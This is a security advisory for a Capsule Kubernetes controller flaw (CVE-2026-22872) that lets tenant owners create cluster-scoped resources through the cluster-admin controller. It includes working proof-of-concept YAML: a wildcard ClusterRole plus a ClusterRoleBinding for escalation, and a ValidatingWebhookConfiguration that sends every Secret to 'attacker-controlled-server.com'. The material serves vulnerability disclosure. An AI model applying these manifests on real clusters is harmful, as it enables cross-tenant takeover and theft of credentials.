CVE-2026-22872 — capsule

TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability

Summary

The Capsule Controller runs with cluster-admin privileges. Although the TenantResource RawItems processing logic forcibly sets the namespace, this is ineffective for cluster-scoped resources. Tenant administrators can leverage the Controller's elevated privileges to create cluster-scoped resources (such as ClusterRole and ValidatingWebhookConfiguration) that they cannot create directly, achieving cross-tenant privilege escalation and cluster-level attacks.

Details

Vulnerability Location

File: internal/controllers/resources/processor.go Function: HandleSection() Lines: 247-285

Core Issues

1. Excessive Controller Privileges: The Controller's ServiceAccount is bound to the cluster-admin ClusterRole

   # ClusterRoleBinding: capsule-manager-rolebinding
   roleRef:
     kind: ClusterRole
     name: cluster-admin
   

2. Missing Resource Scope Validation: Although the code calls obj.SetNamespace(ns.Name), this is ineffective for cluster-scoped resources (ClusterRole, ValidatingWebhookConfiguration, etc.), as the Kubernetes API ignores this field

3. Missing Resource Type Validation: No check for whether resources are cluster-scoped

Vulnerable Code Analysis

// internal/controllers/resources/processor.go
for rawIndex, item := range spec.RawItems {
    template := string(item.Raw)

    t := fasttemplate.New(template, "{{ ", " }}")
    tmplString := t.ExecuteString(map[string]interface{}{
        "tenant.name": tnt.Name,
        "namespace":   ns.Name,
    })

    obj, keysAndValues := unstructured.Unstructured{}, []interface{}{"index", rawIndex}

    // Issue 1: Accepts any resource type, including cluster-scoped resources
    if _, _, decodeErr := codecFactory.UniversalDeserializer().Decode(
        []byte(tmplString), nil, &obj); decodeErr != nil {
        log.Error(decodeErr, "unable to deserialize rawItem", keysAndValues...)
        syncErr = errors.Join(syncErr, decodeErr)
        continue
    }

    // Issue 2: For cluster-scoped resources, this setting is ignored by API
    obj.SetNamespace(ns.Name)

    // Issue 3: Controller creates with cluster-admin privileges, no scope check
    if rawErr := r.createOrUpdate(ctx, &obj, objLabels, objAnnotations); rawErr != nil {
        log.Info("unable to sync rawItem", keysAndValues...)
        syncErr = errors.Join(syncErr, rawErr)
    }
}

Attack Chain

Tenant Owner (bob) - Has TenantResource creation permission
  ↓
Creates TenantResource containing cluster-scoped resources
  ↓
Capsule Controller (cluster-admin) processes RawItems
  ↓
obj.SetNamespace() ignored by Kubernetes API (cluster-scoped resources have no namespace)
  ↓
Successfully creates cluster-scoped resources (ClusterRole, ValidatingWebhook, etc.)
  ↓
Cross-tenant privilege escalation / Cluster-level attacks

PoC

Environment Setup

Test Environment: Kubernetes 1.27+ cluster (verified using Kind cluster)

Step 1: Verify Capsule Controller Privileges

kubectl get clusterrolebinding capsule-manager-rolebinding -o yaml

Confirm output contains:

roleRef:
  kind: ClusterRole
  name: cluster-admin  # Controller has full cluster management privileges

Step 2: Install Capsule and Create Test Tenant

Complete Capsule installation and tenant creation following previous environment setup steps.

Step 3: Verify bob's Permission Restrictions

Verify bob can create TenantResource:

kubectl auth can-i create tenantresources --as bob --as-group projectcapsule.dev -n tenant-b-ns1

Actual output:

yes

Verify bob cannot create ClusterRole:

kubectl auth can-i create clusterroles --as bob --as-group projectcapsule.dev

Actual output:

Warning: resource 'clusterroles' is not namespace scoped in group 'rbac.authorization.k8s.io'

no

Verify bob cannot create ValidatingWebhook:

kubectl auth can-i create validatingwebhookconfigurations --as bob --as-group projectcapsule.dev

Actual output:

Warning: resource 'validatingwebhookconfigurations' is not namespace scoped in group 'admissionregistration.k8s.io'

no

Attack Vector 1: Creating Malicious ClusterRole

Step 4: Create TenantResource Containing ClusterRole

Create file attack-clusterrole.yaml:

apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
  name: create-clusterrole
  namespace: tenant-b-ns1
spec:
  resyncPeriod: 60s
  resources:
    - namespaceSelector:
        matchLabels:
          capsule.clastix.io/tenant: tenant-b
      rawItems:
        - apiVersion: rbac.authorization.k8s.io/v1
          kind: ClusterRole
          metadata:
            name: malicious-clusterrole
          rules:
          - apiGroups: ["*"]
            resources: ["*"]
            verbs: ["*"]

Apply configuration as bob user (critical - must specify executor):

kubectl apply -f attack-clusterrole.yaml --as bob --as-group projectcapsule.dev

Actual output:

tenantresource.capsule.clastix.io/create-clusterrole created

Important: The --as bob --as-group projectcapsule.dev parameters are crucial for proving that bob (not the cluster admin) is executing this attack.

Step 5: Verify ClusterRole Creation

kubectl get clusterrole malicious-clusterrole

Actual output:

NAME                    CREATED AT
malicious-clusterrole   2026-01-05T16:10:02Z

View details:

kubectl get clusterrole malicious-clusterrole -o yaml

Key output:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  annotations:
    capsule.clastix.io/tenant: tenant-b
  name: malicious-clusterrole
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]

Verification Successful: bob cannot directly create ClusterRole, but successfully created a cluster-scoped ClusterRole with all permissions through TenantResource.

Step 6: Exploit ClusterRole for Cross-Tenant Attack

Now bob can create a ClusterRoleBinding binding this ClusterRole to gain cluster-level privileges:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: bob-cluster-admin
subjects:
- kind: User
  name: bob
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: ClusterRole
  name: malicious-clusterrole
  apiGroup: rbac.authorization.k8s.io

After applying, bob will have full cluster management privileges and can access resources of all tenants.

Attack Vector 2: Creating Malicious ValidatingWebhook

Step 7: Create TenantResource Containing Webhook

Create file attack-webhook.yaml:

apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
  name: create-webhook
  namespace: tenant-b-ns1
spec:
  resyncPeriod: 60s
  resources:
    - namespaceSelector:
        matchLabels:
          capsule.clastix.io/tenant: tenant-b
      rawItems:
        - apiVersion: admissionregistration.k8s.io/v1
          kind: ValidatingWebhookConfiguration
          metadata:
            name: malicious-webhook
          webhooks:
          - name: malicious.webhook.com
            clientConfig:
              url: "https://attacker-controlled-server.com/webhook"
            rules:
            - operations: ["CREATE", "UPDATE"]
              apiGroups: [""]
              apiVersions: ["v1"]
              resources: ["secrets"]
            admissionReviewVersions: ["v1"]
            sideEffects: None
            failurePolicy: Ignore

Apply configuration as bob user:

kubectl apply -f attack-webhook.yaml --as bob --as-group projectcapsule.dev

Actual output:

tenantresource.capsule.clastix.io/create-webhook created

Step 8: Verify Webhook Creation

kubectl get validatingwebhookconfiguration malicious-webhook

Actual output:

NAME                WEBHOOKS   AGE
malicious-webhook   1          5s

Verification Successful: bob cannot directly create Webhook, but successfully created a cluster-scoped ValidatingWebhookConfiguration through TenantResource.

Step 9: Exploit Webhook to Steal Sensitive Data

At this point, whenever any user in the cluster creates or updates a Secret, the Kubernetes API Server will call the attacker-controlled webhook server, sending an AdmissionReview request containing the complete Secret content. The attacker can:

1. Steal Secret data from all tenants (database passwords, API keys, etc.)
2. Modify Secret contents
3. Deny legitimate Secret creation requests, achieving DoS attacks

Impact

Affected Scope

This vulnerability affects all Capsule deployments with the following prerequisites:

1. Capsule Controller runs with cluster-admin privileges (default configuration)
2. Tenant Owner has permission to create TenantResource

Security Impact

1. Cross-Tenant Privilege Escalation

   • Create ClusterRole to gain cluster-level privileges
   • Break tenant isolation boundaries
   • Access all resources of other tenants

2. Large-Scale Sensitive Data Theft

   • Intercept all Secret creation/update requests through malicious Webhook
   • Steal passwords, API keys, certificates, etc. across the entire cluster
   • Real-time monitoring of all tenant sensitive operations

3. Cluster-Level Denial of Service

   • Deny all API requests through Webhook
   • Make the entire cluster unavailable
   • Impact all tenants

4. Cluster Pollution

   • Create malicious CRDs
   • Modify StorageClass
   • Impact cluster stability

5. Persistent Backdoor

   • Created cluster-scoped resources persist
   • Even if TenantResource is deleted, ClusterRole and other resources remain
   • Difficult to detect and remove

Limiting Factors

1. Requires Tenant Owner privileges
2. Requires Capsule Controller running with cluster-admin privileges (default configuration)
3. Some clusters may have additional admission controllers blocking malicious resources